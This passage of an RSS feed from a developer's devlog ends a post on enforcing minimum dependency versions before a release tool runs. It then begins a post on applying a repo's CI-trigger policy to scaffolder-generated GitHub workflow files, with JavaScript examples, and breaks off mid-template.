&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;dep&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}:`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(result));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(reportsOnly.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(reportsOnly.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ambiguous)).ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(refuses.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(refuses.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ambiguous)).ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 4. So check the version instead, at startup, before any of this runs.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;floor check:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dep &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [reportsOnly, refuses]) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; gate &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; requireFloor&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(dep.version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;dep&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;gate&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; gate&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;requireFloor&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(reportsOnly.version).ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;requireFloor&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(refuses.version).ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;all checks passed&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the three blocks as &lt;code&gt;preflight.mjs&lt;/code&gt;, &lt;code&gt;deps.mjs&lt;/code&gt; and &lt;code&gt;floor.mjs&lt;/code&gt;, this one
as &lt;code&gt;check.mjs&lt;/code&gt;, and run &lt;code&gt;node check.mjs&lt;/code&gt;. It uses nothing but Node’s own assert
module. Here is what it printed for me:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| Component | Last tag | On main | On dev | Blockers          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;|-----------|----------|---------|--------|-------------------|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| widget    | 0.1.0    | 0.2.1   | 0.3.0  | dev-ahead-of-main |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| gadget    | 1.4.0    | 1.4.0   | 1.4.0  | none              |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0.5.0: hasOwn(status,&apos;devAhead&apos;) = true | blockers = 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0.6.0: hasOwn(status,&apos;devAhead&apos;) = true | blockers = 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;what cut() actually does with the same input:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  0.5.0: {&quot;ok&quot;:true,&quot;tagged&quot;:&quot;v0.2.1&quot;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  0.6.0: {&quot;ok&quot;:false,&quot;error&quot;:&quot;ambiguous: main and dev carry different versions, refusing to guess&quot;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;floor check:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  0.5.0: needs &gt;= 0.6.0, found 0.5.0. 0.6.0 is where the refusal to release an ambiguous target landed. An older version returns a status of the same shape and silently lacks it, so this cannot be detected from the response.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  0.6.0: ok&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;all checks passed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The two middle sections are the whole argument sitting next to each other. The
probe reports identically for both versions. The operation reports &lt;code&gt;ok: true&lt;/code&gt;
against one and refuses against the other. If your only evidence is the first
block, you have learned nothing about the second.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A floor you raise without saying why gets lowered.&lt;/strong&gt; The constant is the easy
part; the reason it moved is the part that has to travel with it. Put the
guarantee in the error string, and put the same sentence in the changelog entry
that raises it. Somebody hitting this on a machine with the old version will
test whether lowering it breaks anything, and it will not break anything they
can see, because the thing they removed only fires on a case they are not in.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Declaring a dependency floor is not enforcing one.&lt;/strong&gt; &lt;code&gt;engines&lt;/code&gt; warns by
default. A peer range can be satisfied by a hoisted copy you did not expect. If
the tool is invoked as a subprocess rather than imported, package metadata does
not constrain it at all: the binary on &lt;code&gt;PATH&lt;/code&gt; is whatever is on &lt;code&gt;PATH&lt;/code&gt;. Read the
version from the thing you are actually going to run.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bundle the version check with the version report.&lt;/strong&gt; When you shell out, ask
the tool for its version and remember where you found it. Reporting “found 0.5.0
at /usr/local/bin/tool” turns a confusing failure into a one-step fix, because
the most common cause of a too-old dependency is a stale global install
shadowing the one you thought you were running.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A blocker that only appears at the point of action is a blocker discovered too
late.&lt;/strong&gt; This is the ordering half of the same lesson. If a condition can stop an
operation, it belongs in whatever report people read while deciding to perform
that operation, not only in the guard that fires when they do. The guard still
has to exist; it is the last line, not the first.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not let the fix for an overclaim be a softer claim.&lt;/strong&gt; A rationale in this
release said its fixtures covered “the grouper and the state machine” when no
assertion in it read state at all, and all three fixtures carried the same
value. The correction was to name only what is genuinely covered and point at
where the rest is actually pinned. Documentation that describes coverage you do
not have is worse than documentation that describes less, because it stops
anybody from going looking.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Testing/Feature_detection&quot;&gt;Feature detection (MDN)&lt;/a&gt; — the standard advice to test for capability rather than version, and why&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.npmjs.com/cli/v11/configuring-npm/package-json/&quot;&gt;npm package.json documentation&lt;/a&gt; — &lt;code&gt;engines&lt;/code&gt; is advisory unless &lt;code&gt;engine-strict&lt;/code&gt; is set&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://semver.org/&quot;&gt;Semantic Versioning 2.0.0&lt;/a&gt; — numeric precedence, which is what a floor check has to implement&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(release): surface dev-ahead-of-main before cut, not only after it refuses (0.2.0) (#179) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/29efa06e759df12833dbc8793c3063ab76c80f5c&quot;&gt;29efa06&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/release/v0.2.0.png" length="29183" type="image/png"/></item><item><title>Your generator&apos;s output is code nobody reviewed</title><link>https://natejswenson.com/devlog/skillfactory/v0.4.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/skillfactory/v0.4.0/</guid><description>A scaffolder kept emitting a CI trigger the project had banned, because the ban was enforced on files people write and generated files skip review entirely.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;The scaffolder stopped emitting a release trigger this repo had already banned,
an eighth registry was added to the list a new skill gets wired into, and the
reference document that still described the old behaviour was rewritten. The
assertions covering all of that went into their own file rather than into the
baseline the tooling regenerates, for reasons that turn out to be the most
useful part of the story.&lt;/p&gt;
&lt;p&gt;The transferable piece: if you generate code, the check that governs your
hand-written files has to run against what your generator emits, and the test
proving it has to live somewhere your own tooling cannot quietly delete.&lt;/p&gt;
&lt;h2&gt;One policy, applied to generated files too&lt;/h2&gt;
&lt;p&gt;The banned pattern was a release job that accepted &lt;code&gt;push&lt;/code&gt; as well as
&lt;code&gt;workflow_dispatch&lt;/code&gt;. In this repo a &lt;code&gt;dev&lt;/code&gt; to &lt;code&gt;main&lt;/code&gt; promotion merge fires a push
event, so a release job wired that way releases on merge rather than on a
deliberate decision. That had already cost two real releases: one skill tagged
with stale notes before a planned changelog edit landed, and another tagged and
published to npm seconds after a merge, with no dispatch and nobody choosing to
release it.&lt;/p&gt;
&lt;p&gt;The trigger was banned. Every hand-written caller was fixed. And the scaffolder
kept handing the old one to every new skill, because generated files are not
where people look.&lt;/p&gt;
&lt;p&gt;That is not a metaphor. GitHub will
&lt;a href=&quot;https://docs.github.com/en/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github&quot;&gt;hide generated files from diffs by default&lt;/a&gt;
when you mark them &lt;code&gt;linguist-generated&lt;/code&gt; in &lt;code&gt;.gitattributes&lt;/code&gt;, which is a sensible
feature and also an accurate description of what happens to generated code
without the attribute: people scroll past it. A policy enforced by review does
not reach anything nobody reads.&lt;/p&gt;
&lt;p&gt;So write the policy as code, once, and let it govern everything:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The policy that governs EVERY workflow in the repo. There is exactly one of&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// these, and generated files are not exempt from it. Reusing the checker you&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// already have is the point; writing a second one for generated output is how&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// the two drift apart.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; BANNED_RELEASE_TRIGGERS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;release-on-push&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // A promotion merge fires a push event, so a release job that accepts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // `push` releases on merge instead of on a deliberate dispatch.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    test:&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /event_name\s*==\s*&apos;push&apos;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    why: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;a release job must be workflow_dispatch-only; `push` makes a merge cut the tag&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; checkWorkflow&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name, yaml) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; findings &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rule &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; BANNED_RELEASE_TRIGGERS) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (rule.test.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(yaml)) findings.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ file: name, rule: rule.id, why: rule.why });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: findings.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, findings };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In a real repo you would not write this; you would point the linter you already
run at the generated path. The important property is that there is one checker,
not two. A second checker written specially for generated output starts as a
copy and ends as a different rule.&lt;/p&gt;
&lt;h2&gt;Run the generator inside the test&lt;/h2&gt;
&lt;p&gt;Here is the generator, in both the shape that predated the ban and the shape
that respects it:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The scaffolder. `emitCaller` is the template that predates the policy;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// `emitCallerFixed` is the same template after it was brought back in line.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitCaller&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(skill) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `name: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;skill&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;on:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  pull_request:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  push:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    branches: [main]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    paths: [&apos;skills/${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;skill&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}/**&apos;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  workflow_dispatch:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;jobs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  ci:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    uses: ./.github/workflows/_ci.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  release:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    needs: ci&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    if: (github.event_name == &apos;push&apos; || github.event_name == &apos;workflow_dispatch&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    uses: ./.github/workflows/_release.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitCallerFixed&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(skill) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `name: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;skill&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;on:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  pull_request:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  push:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    branches: [main]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    paths: [&apos;skills/${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;skill&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}/**&apos;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  workflow_dispatch:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;jobs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  ci:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    uses: ./.github/workflows/_ci.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  release:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    needs: ci&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    # NEVER add &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; here. A promotion merge fires it, which turns every&lt;/span&gt;&lt;/span&gt;
